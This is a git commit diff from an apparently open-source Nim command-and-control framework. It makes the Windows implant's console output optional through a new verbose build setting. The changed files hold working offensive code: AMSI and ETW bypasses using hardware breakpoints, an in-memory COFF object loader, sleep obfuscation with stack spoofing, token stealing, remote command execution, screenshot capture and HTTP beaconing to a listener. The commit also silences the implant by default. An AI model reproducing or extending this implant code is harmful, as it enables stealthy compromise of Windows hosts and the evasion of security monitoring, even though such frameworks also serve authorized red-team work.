Implemented setting for verbose mode that prints debug messages in the windows where the agent is executed. Setting "verbose" to false disables all console output of the agent program.

This commit is contained in:
Jakob Friedl
2025-10-20 22:08:06 +02:00
parent 382e31c439
commit 0bf717992e
24 changed files with 119 additions and 78 deletions

View File

@@ -1,6 +1,6 @@
import winim/[lean, clr]
import os, strformat, strutils, sequtils
import ./hwbp
import ./[hwbp, io]
import ../../common/[types, utils]
#[
@@ -19,14 +19,14 @@ import ../../common/[types, utils]
proc amsiPatch(pThreadCtx: PCONTEXT) =
# Set the AMSI_RESULT parameter to 0 (AMSI_RESULT_CLEAN)
SETPARAM_6(pThreadCtx, cast[PULONG](0))
echo protect(" [+] AMSI_SCAN_RESULT set to AMSI_RESULT_CLEAN")
print protect(" [+] AMSI_SCAN_RESULT set to AMSI_RESULT_CLEAN")
CONTINUE_EXECUTION(pThreadCtx)
proc etwPatch(pThreadCtx: PCONTEXT) =
pThreadCtx.Rip = cast[PULONG_PTR](pThreadCtx.Rsp)[]
pThreadCtx.Rsp += sizeof(PVOID)
pThreadCtx.Rax = STATUS_SUCCESS
echo protect(" [+] Return value of NtTraceEvent set to STATUS_SUCCESS")
print protect(" [+] Return value of NtTraceEvent set to STATUS_SUCCESS")
CONTINUE_EXECUTION(pThreadCtx)
#[

View File

@@ -1,6 +1,6 @@
import winim/lean
import os, strformat, strutils, ptr_math
import ./beacon
import ./[beacon, io]
import ../../common/[types, utils, serialize]
#[
@@ -88,7 +88,7 @@ proc objectVirtualSize(objCtx: POBJECT_CTX): ULONG =
# Check if symbol starts with `__ipm_` (imported functions)
if ($symbol).startsWith("__imp_"):
length += ULONG(sizeof(PVOID))
# echo $symbol
# print $symbol
# Handle next relocation item/symbol
objRel = cast[PIMAGE_RELOCATION](cast[int](objRel) + sizeof(IMAGE_RELOCATION))
@@ -156,7 +156,7 @@ proc objectResolveSymbol(symbol: var PSTR): PVOID =
if resolved == NULL:
raise newException(CatchableError, fmt"Function {$function} not found in {$library}.")
echo fmt" [>] {$symbol} @ 0x{resolved.repr}"
print fmt" [>] {$symbol} @ 0x{resolved.repr}"
RtlSecureZeroMemory(addr buffer[0], sizeof(buffer))
@@ -339,9 +339,9 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
objCtx.symTbl = cast[PIMAGE_SYMBOL](cast[int](pObject) + cast[int](objCtx.union.header.PointerToSymbolTable))
objCtx.sections = cast[PIMAGE_SECTION_HEADER](cast[int](pObject) + sizeof(IMAGE_FILE_HEADER))
# echo objCtx.union.header.repr
# echo objCtx.symTbl.repr
# echo objCtx.sections.repr
# print objCtx.union.header.repr
# print objCtx.symTbl.repr
# print objCtx.sections.repr
# Verifying that the object file's architecture is x64
when defined(amd64):
@@ -354,7 +354,7 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
# Calculate required virtual memory
virtSize = objectVirtualSize(addr objCtx)
echo fmt"[*] Virtual size of object file: {virtSize} bytes"
print fmt"[*] Virtual size of object file: {virtSize} bytes"
# Allocate memory
virtAddr = VirtualAlloc(NULL, virtSize, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE)
@@ -370,7 +370,7 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
raise newException(CatchableError, $GetLastError())
defer: HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, objCtx.secMap)
echo fmt"[*] Virtual memory allocated for object file at 0x{virtAddr.repr} ({virtSize} bytes)"
print fmt"[*] Virtual memory allocated for object file at 0x{virtAddr.repr} ({virtSize} bytes)"
# Set the section base to the allocated memory
secBase = virtAddr
@@ -380,7 +380,7 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
sections = cast[ptr UncheckedArray[IMAGE_SECTION_HEADER]](objCtx.sections)
secMap = cast[ptr UncheckedArray[SECTION_MAP]](objCtx.secMap)
echo "[*] Copying over sections."
print "[*] Copying over sections."
for i in 0 ..< int(objCtx.union.header.NumberOfSections):
secSize = sections[i].SizeOfRawData
secMap[i].size = secSize
@@ -388,7 +388,7 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
# Copy over section data
copyMem(secBase, cast[PVOID](objCtx.union.base + cast[int](sections[i].PointerToRawData)), secSize)
echo fmt" [>] {$(addr sections[i].Name)} @ 0x{secBase.repr} ({secSize} bytes))"
print fmt" [>] {$(addr sections[i].Name)} @ 0x{secBase.repr} ({secSize} bytes))"
# Get the next page entry
secBase = cast[PVOID](PAGE_ALIGN(cast[uint](secBase) + uint(secSize)))
@@ -396,17 +396,17 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
# The last page of the memory is the symbol/function map
objCtx.symMap = cast[ptr PVOID](secBase)
echo "[*] Processing sections and performing relocations."
print "[*] Processing sections and performing relocations."
if not objectProcessSection(addr objCtx):
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
raise newException(CatchableError, "Failed to process sections.")
# Executing the object file
echo "[*] Executing."
print "[*] Executing."
if not objectExecute(addr objCtx, entryFunction, args):
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
raise newException(CatchableError, fmt"Failed to execute function {$entryFunction}.")
echo "[+] Object file executed successfully."
print "[+] Object file executed successfully."
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))

View File

@@ -1,4 +1,5 @@
import parsetoml, base64, system
import ./io
import ../../common/[types, utils, crypto, serialize]
const CONFIGURATION {.strdefine.}: string = ""
@@ -38,7 +39,7 @@ proc deserializeConfiguration(config: string): AgentCtx =
wipeKey(agentKeyPair.privateKey)
echo protect("[+] Profile configuration deserialized.")
print protect("[+] Profile configuration deserialized.")
return ctx
proc init*(T: type AgentCtx): AgentCtx =
@@ -50,7 +51,7 @@ proc init*(T: type AgentCtx): AgentCtx =
return deserializeConfiguration(CONFIGURATION)
except CatchableError as err:
echo "[-] " & err.msg
print "[-] " & err.msg
return nil

View File

@@ -1,5 +1,5 @@
import httpclient, json, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random
import ./io
import ../../common/[types, utils, profile]
proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
@@ -71,7 +71,7 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
echo "[-] " & err.msg
print protect("[-] "), err.msg
finally:
client.close()
@@ -103,7 +103,7 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
discard waitFor client.request(fmt"http://{host}/{endpoint}", requestMethod, body)
except CatchableError as err:
echo "[-] " & err.msg
print protect("[-] "), err.msg
return false
finally:

View File

@@ -1,4 +1,5 @@
import winim/lean
import ./io
import ../../common/utils
# From: https://github.com/m4ul3r/malware/blob/main/nim/hardware_breakpoints/hardwarebreakpoints.nim
@@ -33,7 +34,7 @@ proc setHardwareBreakpoint*(pAddress: PVOID, fnHookFunc: PVOID, drx: DRX): bool
threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS
if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
echo protect("[!] GetThreadContext Failed: "), GetLastError()
print protect("[!] GetThreadContext Failed: "), GetLastError()
return false
case drx:
@@ -59,7 +60,7 @@ proc setHardwareBreakpoint*(pAddress: PVOID, fnHookFunc: PVOID, drx: DRX): bool
threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 1)
if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
echo protect("[!] SetThreadContext Failed: "), GetLastError()
print protect("[!] SetThreadContext Failed: "), GetLastError()
return false
return true
@@ -69,7 +70,7 @@ proc removeHardwareBreakpoint*(drx: DRX): bool =
threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS
if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
echo protect("[!] GetThreadContext Failed: "), GetLastError()
print protect("[!] GetThreadContext Failed: "), GetLastError()
return false
# Remove the address of the hooked function from the thread context
@@ -87,7 +88,7 @@ proc removeHardwareBreakpoint*(drx: DRX): bool =
threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 0)
if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
echo protect("[!] SetThreadContext Failed"), GetLastError()
print protect("[!] SetThreadContext Failed"), GetLastError()
return false
return true
@@ -196,7 +197,7 @@ proc initializeHardwareBPVariables*(): bool =
# Add 'VectorHandler' as the VEH
g_VectorHandler = AddVectoredExceptionHandler(1, cast[PVECTORED_EXCEPTION_HANDLER](vectorHandler))
if cast[int](g_VectorHandler) == 0:
echo protect("[!] AddVectoredExceptionHandler Failed")
print protect("[!] AddVectoredExceptionHandler Failed")
return false
if (cast[int](g_VectorHandler) and cast[int](g_CriticalSection.DebugInfo)) != 0:

17
src/agent/core/io.nim Normal file
View File

@@ -0,0 +1,17 @@
import macros
import ../../common/[types, utils]
const VERBOSE* {.booldefine.} = false
# Only print to console when VERBOSE mode is enabled
template print*(args: varargs[untyped]): untyped =
when defined(VERBOSE) and VERBOSE == true:
echo args
else:
discard
# Convert Windows API error to readable value
# https://learn.microsoft.com/de-de/windows/win32/api/winbase/nf-winbase-formatmessage
# Convert NTSTATUS to readable value
# https://ntdoc.m417z.com/rtlntstatustodoserror

View File

@@ -2,7 +2,7 @@ import winim/lean
import winim/inc/tlhelp32
import os, system, strformat
import ./cfg
import ./[cfg, io]
import ../../common/[types, utils, crypto]
# Different sleep obfuscation techniques, reimplemented in Nim (Ekko, Zilean, Foliage)
@@ -115,10 +115,10 @@ proc GetRandomThreadCtx(): CONTEXT =
if GetThreadContext(hThread, addr ctx) == 0:
continue
echo fmt"[*] Using thread {thd32Entry.th32ThreadID} for stack spoofing."
print fmt"[*] Using thread {thd32Entry.th32ThreadID} for stack spoofing."
return ctx
echo protect("[-] No suitable thread for stack duplication found.")
print protect("[-] No suitable thread for stack duplication found.")
return ctx
#[
@@ -280,17 +280,17 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b
if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlCreateTimer/NtContinue " & $status.toHex())
echo protect("[*] Sleep obfuscation start.")
print protect("[*] Sleep obfuscation start.")
status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
echo protect("[*] Sleep obfuscation end.")
print protect("[*] Sleep obfuscation end.")
except CatchableError as err:
sleep(sleepDelay)
echo protect("[-] "), err.msg
print protect("[-] "), err.msg
#[
@@ -448,17 +448,17 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var
if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlRegisterWait/NtContinue " & $status.toHex())
echo protect("[*] Sleep obfuscation start.")
print protect("[*] Sleep obfuscation start.")
status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
echo protect("[*] Sleep obfuscation end.")
print protect("[*] Sleep obfuscation end.")
except CatchableError as err:
sleep(sleepDelay)
echo protect("[-] "), err.msg
print protect("[-] "), err.msg
#[
@@ -484,7 +484,7 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) =
status = apis.NtCreateThreadEx(addr hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), NULL, NULL, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtCreateThreadEx " & $status.toHex())
echo fmt"[*] [{hThread.repr}] Thread created "
print fmt"[*] [{hThread.repr}] Thread created "
defer: CloseHandle(hThread)
ctxInit.ContextFlags = CONTEXT_FULL
@@ -559,17 +559,17 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) =
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtAlertResumeThread " & $status.toHex())
echo protect("[*] Sleep obfuscation start.")
print protect("[*] Sleep obfuscation start.")
status = apis.NtSignalAndWaitForSingleObject(hEventSync, hThread, TRUE, NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
echo protect("[*] Sleep obfuscation end.")
print protect("[*] Sleep obfuscation end.")
except CatchableError as err:
sleep(sleepDelay)
echo protect("[-] "), err.msg
print protect("[-] "), err.msg
# Sleep obfuscation implemented in various techniques
proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NONE, spoofStack: var bool = true) =
@@ -580,7 +580,7 @@ proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NON
# Initialize required API functions
let apis = initApis()
echo fmt"[*] Sleepmask settings: Technique: {$technique}, Delay: {$sleepDelay}ms, Stack spoofing: {$spoofStack}"
print fmt"[*] Sleepmask settings: Technique: {$technique}, Delay: {$sleepDelay}ms, Stack spoofing: {$spoofStack}"
var img: USTRING = USTRING(Length: 0)
var key: USTRING = USTRING(Length: 0)

View File

@@ -1,6 +1,6 @@
import strformat, os, times, system, base64, random
import core/[http, context, sleepmask]
import core/[http, context, sleepmask, io]
import protocol/[task, result, heartbeat, registration]
import ../common/[types, utils, crypto]
@@ -17,9 +17,9 @@ proc main() =
let registrationBytes = ctx.serializeRegistrationData(registration)
if not ctx.httpPost(registrationBytes):
echo "[-] Agent registration failed."
print("[-] Agent registration failed.")
quit(0)
echo fmt"[+] [{ctx.agentId}] Agent registered."
print fmt"[+] [{ctx.agentId}] Agent registered."
#[
Agent routine:
@@ -34,7 +34,7 @@ proc main() =
sleepObfuscate(ctx.sleep * 1000, ctx.sleepTechnique, ctx.spoofStack)
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
echo "\n", fmt"[*] [{date}] Checking in."
print "\n", fmt"[*] [{date}] Checking in."
try:
# Retrieve task queue for the current agent by sending a check-in/heartbeat request
@@ -45,13 +45,13 @@ proc main() =
packet: string = ctx.httpGet(heartbeatBytes)
if packet.len <= 0:
echo "[*] No tasks to execute."
print("[*] No tasks to execute.")
continue
let tasks: seq[Task] = ctx.deserializePacket(packet)
if tasks.len <= 0:
echo "[*] No tasks to execute."
print("[*] No tasks to execute.")
continue
# Execute all retrieved tasks and return their output to the server
@@ -62,7 +62,7 @@ proc main() =
ctx.httpPost(resultBytes)
except CatchableError as err:
echo "[-] ", err.msg
print("[-] ", err.msg)
when isMainModule:
main()

View File

@@ -5,4 +5,5 @@
--passL:"-s" # Strip symbols, such as sensitive function names
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:MODULES="511"
-d:VERBOSE="false"
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"

View File

@@ -1,6 +1,7 @@
import strutils, tables, json, strformat, zippy
import ./result
import ../core/io
import ../../modules/manager
import ../../common/[types, serialize, sequence, crypto, utils]
@@ -61,7 +62,7 @@ proc deserializePacket*(ctx: AgentCtx, packet: string): seq[Task] =
var unpacker = Unpacker.init(packet)
var taskCount = unpacker.getUint8()
echo fmt"[*] Response contained {taskCount} tasks."
print fmt"[*] Response contained {taskCount} tasks."
if taskCount <= 0:
return @[]

View File

@@ -43,6 +43,7 @@ proc sendAgentBuild*(connection: WsConnection, buildInformation: AgentBuildInfor
"sleepDelay": buildInformation.sleepDelay,
"sleepTechnique": cast[uint8](buildInformation.sleepTechnique),
"spoofStack": buildInformation.spoofStack,
"verbose": buildInformation.verbose,
"modules": buildInformation.modules
}
)

View File

@@ -12,6 +12,7 @@ type
sleepDelay: uint32
sleepMask: int32
spoofStack: bool
verbose: bool
sleepMaskTechniques: seq[string]
moduleSelection: DualListSelectionWidget[Module]
buildLog*: TextareaWidget
@@ -23,6 +24,7 @@ proc AgentModal*(): AgentModalComponent =
result.sleepDelay = 5
result.sleepMask = 0
result.spoofStack = false
result.verbose = false
for technique in SleepObfuscationTechnique.low .. SleepObfuscationTechnique.high:
result.sleepMaskTechniques.add($technique)
@@ -45,6 +47,7 @@ proc resetModalValues*(component: AgentModalComponent) =
component.sleepDelay = 5
component.sleepMask = 0
component.spoofStack = false
component.verbose = false
component.moduleSelection.reset()
component.buildLog.clear()
@@ -100,6 +103,12 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
igCheckbox("##InputSpoofStack", addr component.spoofStack)
igEndDisabled()
# Verbose mode checkbox
igText("Verbose: ")
igSameLine(0.0f, textSpacing)
igSetNextItemWidth(availableSize.x)
igCheckbox("##InputVerbose", addr component.verbose)
igDummy(vec2(0.0f, 10.0f))
igSeparator()
igDummy(vec2(0.0f, 10.0f))
@@ -139,6 +148,7 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
sleepDelay: component.sleepDelay,
sleepTechnique: cast[SleepObfuscationTechnique](component.sleepMask),
spoofStack: component.spoofStack,
verbose: component.verbose,
modules: modules
)

View File

@@ -361,6 +361,7 @@ type
sleepDelay*: uint32
sleepTechnique*: SleepObfuscationTechnique
spoofStack*: bool
verbose*: bool
modules*: uint32
LootItemType* = enum

View File

@@ -30,7 +30,7 @@ when not defined(agent):
when defined(agent):
import osproc, strutils, strformat
import ../agent/core/coff
import ../agent/core/[coff, io]
import ../agent/protocol/result
import ../common/[utils, serialize]
@@ -57,7 +57,7 @@ when defined(agent):
fileName = unpacker.getDataWithLengthPrefix()
objectFileContents = unpacker.getDataWithLengthPrefix()
echo fmt" [>] Executing object file {fileName}."
print fmt" [>] Executing object file {fileName}."
let output = inlineExecuteGetOutput(string.toBytes(objectFileContents), arguments)
if output != "":

View File

@@ -30,7 +30,7 @@ when not defined(agent):
when defined(agent):
import strutils, strformat
import ../agent/core/clr
import ../agent/core/[clr, io]
import ../agent/protocol/result
import ../common/[utils, serialize]
@@ -56,7 +56,7 @@ when defined(agent):
fileName = unpacker.getDataWithLengthPrefix()
assemblyBytes = unpacker.getDataWithLengthPrefix()
echo fmt" [>] Executing .NET assembly {fileName}."
print fmt" [>] Executing .NET assembly {fileName}."
let (assemblyInfo, output) = dotnetInlineExecuteGetOutput(string.toBytes(assemblyBytes), arguments)
if output != "":

View File

@@ -101,13 +101,14 @@ when not defined(agent):
when defined(agent):
import os, strutils, strformat, times, algorithm, winim
import ../agent/core/io
import ../agent/protocol/result
import ../common/utils
# Retrieve current working directory
proc executePwd(ctx: AgentCtx, task: Task): TaskResult =
echo protect(" [>] Retrieving current working directory.")
print protect(" [>] Retrieving current working directory.")
try:
# Get current working directory using GetCurrentDirectory
@@ -131,7 +132,7 @@ when defined(agent):
# Parse arguments
let targetDirectory = Bytes.toString(task.args[0].data)
echo protect(" [>] Changing current working directory to {targetDirectory}.")
print protect(" [>] Changing current working directory to {targetDirectory}.")
try:
# Get current working directory using GetCurrentDirectory
@@ -168,7 +169,7 @@ when defined(agent):
else:
discard
echo fmt" [>] Listing files and directories in {targetDirectory}."
print fmt" [>] Listing files and directories in {targetDirectory}."
# Prepare search pattern (target directory + \*)
let searchPattern = targetDirectory & "\\*"
@@ -300,7 +301,7 @@ when defined(agent):
# Parse arguments
let target = Bytes.toString(task.args[0].data)
echo fmt" [>] Deleting file {target}."
print fmt" [>] Deleting file {target}."
try:
if DeleteFile(target) == FALSE:
@@ -318,7 +319,7 @@ when defined(agent):
# Parse arguments
let target = Bytes.toString(task.args[0].data)
echo fmt" [>] Deleting directory {target}."
print fmt" [>] Deleting directory {target}."
try:
if RemoveDirectoryA(target) == FALSE:
@@ -337,7 +338,7 @@ when defined(agent):
lpExistingFileName = Bytes.toString(task.args[0].data)
lpNewFileName = Bytes.toString(task.args[1].data)
echo fmt" [>] Moving {lpExistingFileName} to {lpNewFileName}."
print fmt" [>] Moving {lpExistingFileName} to {lpNewFileName}."
try:
if MoveFile(lpExistingFileName, lpNewFileName) == FALSE:
@@ -357,7 +358,7 @@ when defined(agent):
lpExistingFileName = Bytes.toString(task.args[0].data)
lpNewFileName = Bytes.toString(task.args[1].data)
echo fmt" [>] Copying {lpExistingFileName} to {lpNewFileName}."
print fmt" [>] Copying {lpExistingFileName} to {lpNewFileName}."
try:
# Copy file to new location, overwrite if a file with the same name already exists

View File

@@ -41,6 +41,7 @@ when not defined(agent):
when defined(agent):
import os, std/paths, strutils, strformat
import ../agent/core/io
import ../agent/protocol/result
import ../common/[utils, serialize]
@@ -48,7 +49,7 @@ when defined(agent):
try:
var filePath: string = absolutePath(Bytes.toString(task.args[0].data))
echo fmt" [>] Downloading {filePath}"
print fmt" [>] Downloading {filePath}"
# Read file contents into memory and return them as the result
var fileBytes = readFile(filePath)
@@ -71,7 +72,7 @@ when defined(agent):
try:
var arg: string = Bytes.toString(task.args[0].data)
echo arg
print arg
# Parse binary argument
var unpacker = Unpacker.init(arg)

View File

@@ -30,6 +30,7 @@ when defined(agent):
import winim/inc/wingdi
import strutils, strformat, times, pixie
import stb_image/write as stbiw
import ../agent/core/io
import ../agent/protocol/result
import ../common/[utils, serialize]
@@ -155,7 +156,7 @@ when defined(agent):
proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult =
try:
echo protect(" [>] Taking and uploading screenshot.")
print protect(" [>] Taking and uploading screenshot.")
let
screenshotFilename: string = fmt"screenshot_{getTime().toUnix()}.jpeg"

View File

@@ -30,6 +30,7 @@ when not defined(agent):
when defined(agent):
import osproc, strutils, strformat
import ../agent/core/io
import ../agent/protocol/result
import ../common/utils
@@ -50,7 +51,7 @@ when defined(agent):
for arg in task.args[1..^1]:
arguments &= Bytes.toString(arg.data) & " "
echo fmt" [>] Executing command: {command} {arguments}"
print fmt" [>] Executing command: {command} {arguments}"
let (output, status) = execCmdEx(fmt("{command} {arguments}"))

View File

@@ -42,6 +42,7 @@ when not defined(agent):
when defined(agent):
import os, strutils, strformat
import ../agent/core/io
import ../agent/protocol/result
import ../common/utils
@@ -52,7 +53,7 @@ when defined(agent):
let delay = int(Bytes.toUint32(task.args[0].data))
# Updating sleep in agent context
echo fmt" [>] Setting sleep delay to {delay} seconds."
print fmt" [>] Setting sleep delay to {delay} seconds."
ctx.sleep = delay
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
@@ -63,7 +64,7 @@ when defined(agent):
proc executeSleepmask(ctx: AgentCtx, task: Task): TaskResult =
try:
echo fmt" [>] Updating sleepmask settings."
print fmt" [>] Updating sleepmask settings."
case int(task.argCount):
of 0:

View File

@@ -38,6 +38,7 @@ when defined(agent):
import winim
import os, strutils, sequtils, strformat, tables, algorithm
import ../agent/core/io
import ../agent/protocol/result
import ../common/utils
@@ -51,7 +52,7 @@ when defined(agent):
proc executePs(ctx: AgentCtx, task: Task): TaskResult =
echo protect(" [>] Listing running processes.")
print protect(" [>] Listing running processes.")
try:
var processes: seq[DWORD] = @[]
@@ -125,7 +126,7 @@ when defined(agent):
proc executeEnv(ctx: AgentCtx, task: Task): TaskResult =
echo protect(" [>] Displaying environment variables.")
print protect(" [>] Displaying environment variables.")
try:
var output: string = ""

View File

@@ -88,13 +88,13 @@ when not defined(agent):
when defined(agent):
import winim, strutils, strformat
import ../agent/core/[token, io]
import ../agent/protocol/result
import ../agent/core/token
import ../common/utils
proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult =
try:
echo fmt" [>] Creating access token from username and password."
print fmt" [>] Creating access token from username and password."
var logonType: DWORD = LOGON32_LOGON_NEW_CREDENTIALS
var
@@ -119,7 +119,7 @@ when defined(agent):
proc executeStealToken(ctx: AgentCtx, task: Task): TaskResult =
try:
echo fmt" [>] Stealing access token."
print fmt" [>] Stealing access token."
let pid = int(Bytes.toUint32(task.args[0].data))
let username = stealToken(pid)
@@ -131,7 +131,7 @@ when defined(agent):
proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult =
try:
echo fmt" [>] Reverting access token."
print fmt" [>] Reverting access token."
rev2self()
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
@@ -140,7 +140,7 @@ when defined(agent):
proc executeTokenInfo(ctx: AgentCtx, task: Task): TaskResult =
try:
echo fmt" [>] Retrieving token information."
print fmt" [>] Retrieving token information."
let tokenInfo = getCurrentToken().getTokenInfo()
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(tokenInfo))
@@ -149,7 +149,7 @@ when defined(agent):
proc executeEnablePrivilege(ctx: AgentCtx, task: Task): TaskResult =
try:
echo fmt" [>] Enabling token privilege."
print fmt" [>] Enabling token privilege."
let privilege = Bytes.toString(task.args[0].data)
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(enablePrivilege(privilege)))
@@ -158,7 +158,7 @@ when defined(agent):
proc executeDisablePrivilege(ctx: AgentCtx, task: Task): TaskResult =
try:
echo fmt" [>] Disabling token privilege."
print fmt" [>] Disabling token privilege."
let privilege = Bytes.toString(task.args[0].data)
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(enablePrivilege(privilege, false)))

View File

@@ -60,7 +60,7 @@ proc replaceAfterPrefix(content, prefix, value: string): string =
it
).join("\n")
proc compile(cq: Conquest, placeholderLength: int, modules: uint32): string =
proc compile(cq: Conquest, placeholderLength: int, modules: uint32, verbose: bool): string =
let
configFile = fmt"{CONQUEST_ROOT}/src/agent/nim.cfg"
@@ -77,6 +77,7 @@ proc compile(cq: Conquest, placeholderLength: int, modules: uint32): string =
.replaceAfterPrefix("-d:CONFIGURATION=", placeholder)
.replaceAfterPrefix("-o:", exeFile)
.replaceAfterPrefix("-d:MODULES=", $modules)
.replaceAfterPrefix("-d:VERBOSE=", $verbose)
writeFile(configFile, config)
cq.info(fmt"Placeholder created ({placeholder.len()} bytes).")
@@ -146,7 +147,7 @@ proc patch(cq: Conquest, unpatchedExePath: string, configuration: seq[byte]): se
return @[]
# Agent generation
proc agentBuild*(cq: Conquest, listenerId: string, sleepDelay: int, sleepTechnique: SleepObfuscationTechnique, spoofStack: bool, modules: uint32): seq[byte] =
proc agentBuild*(cq: Conquest, listenerId: string, sleepDelay: int, sleepTechnique: SleepObfuscationTechnique, spoofStack: bool, verbose: bool, modules: uint32): seq[byte] =
# Verify that listener exists
if not cq.dbListenerExists(listenerId.toUpperAscii):
@@ -157,7 +158,7 @@ proc agentBuild*(cq: Conquest, listenerId: string, sleepDelay: int, sleepTechniq
var config = cq.serializeConfiguration(listener, sleepDelay, sleepTechnique, spoofStack)
let unpatchedExePath = cq.compile(config.len, modules)
let unpatchedExePath = cq.compile(config.len, modules, verbose)
if unpatchedExePath.isEmptyOrWhitespace():
return

View File

